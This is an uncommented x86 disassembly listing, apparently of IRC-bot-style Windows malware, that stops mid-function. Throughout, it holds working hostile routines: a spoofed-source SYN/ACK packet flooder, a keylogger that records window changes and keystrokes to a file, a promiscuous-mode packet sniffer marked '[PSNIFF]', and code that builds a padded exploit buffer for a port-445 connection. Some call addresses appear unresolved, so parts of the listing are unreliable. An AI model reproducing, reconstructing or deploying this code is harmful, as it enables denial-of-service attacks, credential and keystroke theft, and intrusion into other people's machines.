pop ecx push 0FFh push 3 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 25D0362h nop loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43F5FC push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25D0362h loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25D0362h loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43F6A8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43F668 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43F668 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_18], ax call dword_43F664 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43F668 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43F668 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25D0362h loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 25D0362h nop sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 25F0000h lea eax, [ebp+var_114] push 104h push eax nop call near ptr 25E04A1h lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F684 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 call near ptr 25E041Ch nop call dword_43F5F0 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43F548 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43F634 test ah, 80h jz short loc_402529 push 14h call dword_43F548 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43F548 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43F5F0 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43F604 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 nop call near ptr 25D0362h sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43F668 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43F6A8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 25D0362h loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43F614 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43F5FC push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 25D0362h nop loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43F680 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43F5A4 movzx eax, ax push eax push [ebp+var_C] call dword_43F6F4 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43F5FC push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43F700 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 25D0362h nop sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43C80C push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2600000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_43C808 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43F708 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43F708 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43C80C pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2600000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43F5A8 test eax, eax jz short loc_402B7D push 7D0h call near ptr 25E041Ch nop jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F674 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] 